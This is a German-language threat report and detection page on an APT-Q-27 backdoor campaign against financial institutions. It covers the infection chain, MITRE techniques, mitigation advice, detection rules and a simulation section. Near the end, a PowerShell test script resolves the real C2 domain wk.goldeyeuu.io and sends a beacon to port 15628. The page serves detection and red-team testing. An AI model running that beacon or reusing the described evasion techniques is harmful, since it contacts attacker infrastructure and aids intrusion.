Analyse des mutmaßlichen Schadprogramms im Zusammenhang mit APT-Q-27, das auf Finanzinstitute abzielt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Die Kampagne umfasst eine mehrstufige Infektionskette, die mit einem Phishing-Link beginnt, der als Bild-Download getarnt ist und tatsächlich einen .pif -Dropper liefert. Die anfängliche Nutzlast ist ein stark verschleiertes .NET-Programm, das mit einem legitimen Zertifikat signiert wurde, das später widerrufen wurde, wodurch es in der Anfangsphase an reaktionsbasierter Kontrolle vorbeikommen konnte. Nach der Ausführung stellt es Komponenten in einem Verzeichnis bereit, das einem Windows-Update-Cache ähnelt, und wechselt dann zur ausschließlichen Ausführung im Speicher, um Spuren auf der Festplatte zu minimieren. Das Endergebnis ist eine modulare Hintertür, die Tarnung und Ausweichmanöver priorisiert, den Zugriff über dienstbasierte Persistenz aufrechterhält und versucht, gängige Signaturerkennungen zu vermeiden.
Untersuchung
CyStack-Analysten verfolgten die ursprüngliche Bereitstellungs-URL zu einer Infrastruktur, die auf storage.googleapis.com gehostet wird, und stellten vorbereitete Artefakte – updat.exe, crashreport.dll und updat.log – aus einem versteckten cache-ähnlichen Ordner wieder her. Der Dropper richtet grundlegende Persistenz über einen Run-Registrierungswert ein und registriert anschließend einen Windows-Dienst namens Windows Eventn, um eine langfristige Ausführung zu gewährleisten. Die Hintertür implementiert Anti-Analyse-Überprüfungen, versucht Privilegienerhöhung und ändert UAC-bezogene Einstellungen, um Benutzereingaben zu minimieren. Steuerverkehr wurde über Port 15628 beobachtet, und Ermittler extrahierten einsatzbereite Indikatoren, darunter Dateinamen, Registrierungspfade, Dienstkennungen und markante User-Agent-Strings.
Abmilderung
Setzen Sie strenge Download-Kontrollen ein, um .pif-Dateien zu blockieren, und erzwingen Sie die Validierung des Inhaltstyps, damit „Bild“-Links nicht stillschweigend ausführbare Dateien liefern können. Verstärken Sie die Code-Signatur-Durchsetzung, indem Sie den Widerrufsstatus und die Zertifikatstempel während der Ausführung überprüfen. Überwachen Sie auf versteckte „Windows Update-ähnliche“ Cache-Verzeichnisse und alarmieren Sie über unerwartete Hinzufügungen von Run-Schlüsseln oder verdächtige Ereignisse bei der Dienst-Erstellung. Sichern Sie die UAC-Richtlinieneinstellungen und überprüfen Sie regelmäßig Änderungen an relevanten Registrierungsrichtlinienschlüsseln.
Antwort
Wenn Aktivität festgestellt wird, isolieren Sie den Endpunkt sofort und sammeln forensische Artefakte (Speicherabbild, Registrierungshives und Dateisystembeweise), bevor Sie mit der Behebung beginnen. Beenden und entfernen Sie den bösartigen Windows Eventn-Dienst und durchsuchen Sie die Umgebung nach den extrahierten Indikatoren – insbesondere versteckte Vorbereitungsdateien, potenzielle Mutex-Nutzung und jegliche DLL-Sideloading-Spuren. Setzen Sie potenziell exponierte Anmeldeinformationen zurück, überprüfen Sie Aktivitäten privilegierter Konten auf Missbrauch und aktualisieren Sie Erkennungen in EDR/SIEM mit den extrahierten IOCs.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Node definitions action_phishing["<b>Aktion</b> – <b>T1566.002 Phishing: Spearphishing-Link</b><br/><b>Beschreibung</b>: Angreifer sendet eine URL, die scheinbar auf ein Bild verweist, aber eine bösartige .pif-Datei liefert.<br/><b>Artefakt</b>: Bösartige .pif als Bildlink geliefert"] class action_phishing action action_user_exec["<b>Aktion</b> – <b>T1204.002 Benutzerausführung: Bösartige Datei</b><br/><b>Beschreibung</b>: Opfer klickt auf den Link und startet die .pif-Datei.<br/><b>Artefakt</b>: Ausgeführte .pif"] class action_user_exec action malware_dropper["<b>Schadprogramm</b> – Dropper (signiert)<br/><b>Technik</b>: T1553.002 Code Signierung<br/><b>Beschreibung</b>: Dropper und begleitende DLL sind mit einem gültigen Zertifikat signiert, um Reputationsprüfungen zu umgehen"] class malware_dropper malware tool_masq_filetype["<b>Werkzeug</b> – Verschleierte .pif-Datei<br/><b>Technik</b>: T1036.008 Datei Typ Verschleierung<br/><b>Beschreibung</b>: .pif umbenannt mit .jpg-Erweiterung, um als Bild zu wirken"] class tool_masq_filetype tool tool_masq_location["<b>Werkzeug</b> – Gefälschter Update-Cache-Ordner<br/><b>Technik</b>: T1036.005 Legitimer Ressourcenname oder Ort Verschleierung<br/><b>Beschreibung</b>: Nutzlast in einem versteckten Ordner abgelegt, der einen Windows-Update-Cache imitiert"] class tool_masq_location tool process_proxy["<b>Prozess</b> – Signierte System-Binärdatei<br/><b>Technik</b>: T1218 System Binary Proxy Execution<br/><b>Beschreibung</b>: Legitime signierte Binärdateien starten den Dropper ohne Alarm"] class process_proxy process malware_obfusc["<b>Schadprogramm</b> – Verschleierter Dropper<br/><b>Technik</b>: T1027.007 Dynamische API-Auflösung<br/><b>Beschreibung</b>: Verwendet mehrschichtige Base64 und Laufzeit-String-Dekodierung, um URLs und Befehle zu verbergen"] class malware_obfusc malware tool_hide_dir["<b>Werkzeug</b> – Verstecktes Vorbereitungsverzeichnis<br/><b>Technik</b>: T1564.001 Versteckte Dateien und Verzeichnisse<br/><b>Beschreibung</b>: Verzeichnis gekennzeichnet als Versteckt und Nicht inhaltlich indiziert"] class tool_hide_dir tool action_persistence["<b>Aktion</b> – T1547.014 Aktive Setup-Persistenz<br/><b>Beschreibung</b>: Erstellt einen Run-Registrierungsschlüssel namens SystemOptimizer für Login-Persistenz"] class action_persistence action malware_injection["<b>Schadprogramm</b> – CrashReport DLL<br/><b>Technik</b>: T1055.001 DLL-Injektion (Sideloading)<br/><b>Beschreibung</b>: updat.exe lädt bösartige crashreport.dll über Sideloading"] class malware_injection malware process_appcert["<b>Prozess</b> – AppCert DLL Laden<br/><b>Technik</b>: T1546.009 AppCert DLLs<br/><b>Beschreibung</b>: Laden der crashreport.dll aus dem bereitgestellten Pfad löst bösartigen Code in einem legitimen Prozess aus"] class process_appcert process action_uac_bypass["<b>Aktion</b> – T1548.002 Umgehung der Benutzerkontensteuerung<br/><b>Beschreibung</b>: Hintertür ändert UAC-Registrierungsschlüssel und führt mit erhöhten Privilegien erneut aus"] class action_uac_bypass action action_clear_logs["<b>Aktion</b> – T1070.001 Löschen von Windows-Ereignisprotokollen<br/><b>Beschreibung</b>: Hintertür löscht Windows-Ereignisprotokolle, um die Aktivität zu verbergen"] class action_clear_logs action %% Verbindungen, die den Fluss zeigen action_phishing –>|führt zu| action_user_exec action_user_exec –>|führt aus| malware_dropper malware_dropper –>|verwendet| tool_masq_filetype malware_dropper –>|verwendet| tool_masq_location malware_dropper –>|gestartet von| process_proxy malware_dropper –>|enthält| malware_obfusc malware_obfusc –>|speichert in| tool_hide_dir tool_hide_dir –>|ermöglicht| action_persistence action_persistence –>|erstellt| process_proxy malware_dropper –>|lädt| malware_injection malware_injection –>|eingespritzt in| process_appcert process_appcert –>|löst aus| action_uac_bypass action_uac_bypass –>|löscht| action_clear_logs %% Stil class action_phishing,action_user_exec,action_persistence,action_uac_bypass,action_clear_logs action class malware_dropper,malware_obfusc,malware_injection malware class tool_masq_filetype,tool_masq_location,tool_hide_dir tool class process_proxy,process_appcert process "
Angriffsfluss
Erkennungen
Versuch, sicheres Desktop-Eingabeaufforderung zu deaktivieren (via registry_event)
Ansehen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER-Hive] (via registry_event)
Ansehen
UAC Deaktivierungsversuch (via registry_event)
Ansehen
Ungewöhnliche Erweiterung von ausführbaren Binärdateien (via process_creation)
Ansehen
Deaktivierung des Zustimmungs-Administrators (via registry_event)
Ansehen
IOCs (SourceIP) zur Erkennung: Analyse des verdächtigen Schadprogramms, das mit APT-Q-27 in Verbindung steht und auf Finanzinstitutionen abzielt Teil 1
Ansehen
IOCs (HashMd5) zur Erkennung: Analyse des verdächtigen Schadprogramms, das mit APT-Q-27 in Verbindung steht und auf Finanzinstitutionen abzielt
Ansehen
IOCs (SourceIP) zur Erkennung: Analyse des verdächtigen Schadprogramms, das mit APT-Q-27 in Verbindung steht und auf Finanzinstitutionen abzielt Teil 2
Ansehen
IOCs (DestinationIP) zur Erkennung: Analyse des verdächtigen Schadprogramms, das mit APT-Q-27 in Verbindung steht und auf Finanzinstitutionen abzielt Teil 1
Ansehen
IOCs (DestinationIP) zur Erkennung: Analyse des verdächtigen Schadprogramms, das mit APT-Q-27 in Verbindung steht und auf Finanzinstitutionen abzielt Teil 2
Ansehen
Ausführung eines bösartigen Droppers über .pif-Datei und Ladephasen [Windows-Prozesserstellung]
Ansehen
Erkennen der C2-Kommunikation mit wk.goldeyeuu.io und Port 15628 [Windows-Netzwerkverbindung]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre‑Flug-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die dazu konzipiert ist, die Erkennungsregel auszulösen. Die Befehle und Narrative MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, genau die Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffsablauf & Befehle:
Ein Angreifer, der sich initialen Zugriff auf den Windows-Host verschafft hat, möchte einen versteckten C2-Tunnel zur APT‑Q‑27-Infrastruktur etablieren. Mithilfe einer benutzerdefinierten PowerShell-Hintertür löst der Betreiber den fest codierten Domänennamen wk.goldeyeuu.io auf und öffnet eine TCP-Verbindung auf Port 15628. Der Verkehr wird vom Firewall ausgehend erlaubt, und da die Verbindung einen nicht standardmäßigen Port verwendet, sticht sie in den Firewall-Protokollen hervor. Der Angreifer überträgt dann codierte Befehle über diesen Kanal (T1059), um weitere Nutzlasten auszuführen.Schritt-für-Schritt:
- Lösen Sie die C2-Domäne auf, um zu überprüfen, ob DNS funktioniert.
- Öffnen Sie einen rohen TCP-Socket zur aufgelösten IP auf Port 15628.
- Senden Sie eine einfache „Ping“-Nutzlast, um die Konnektivität zu bestätigen (simuliert ein Beacon).
-
Regressionstest-Skript:
# ----------------------------------------------------------------------------------------------------------------- # Simulieren Sie die C2-Kommunikation zu wk.goldeyeuu.io auf Port 15628 # ----------------------------------------------------------------------------------------------------------------- # Lösen Sie die bösartige Domäne auf (es wird erwartet, dass eine vom Red Team kontrollierte IP zurückgegeben wird) $c2Domain = "wk.goldeyeuu.io" try { $c2IP = [System.Net.Dns]::GetHostAddresses($c2Domain) | Where-Object { $_.AddressFamily -eq [System.Net.Sockets.AddressFamily]::InterNetwork } | Select-Object -First 1 } catch { Write-Error "DNS-Auflösung für $c2Domain fehlgeschlagen" exit 1 } # Stellen Sie eine TCP-Verbindung auf dem nicht standardmäßigen Port 15628 her $c2Port = 15628 $client = New-Object System.Net.Sockets.TcpClient try { $client.Connect($c2IP.IPAddressToString, $c2Port) Write-Host "Verbunden mit $c2Domain ($($c2IP.IPAddressToString)):`$c2Port" } catch { Write-Error "Verbindung zu $c2Domain auf Port $c2Port fehlgeschlagen" exit 1 } # Senden Sie eine einfache Beacon-Nutzlast (ASCII „PING“) und schließen Sie die Verbindung $stream = $client.GetStream() $payload = [System.Text.Encoding]::ASCII.GetBytes("PING") $stream.Write($payload, 0, $payload.Length) $stream.Flush() Write-Host "Beacon-Nutzlast gesendet." # Aufräumen $stream.Close() $client.Close() # ----------------------------------------------------------------------------------------------------------------- -
Aufräumbefehle:
# Stellen Sie sicher, dass alle verbleibenden TCP-Verbindungen geschlossen sind (verteidigende Maßnahme für die Testumgebung) Get-NetTCPConnection -RemotePort 15628 -State Established | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }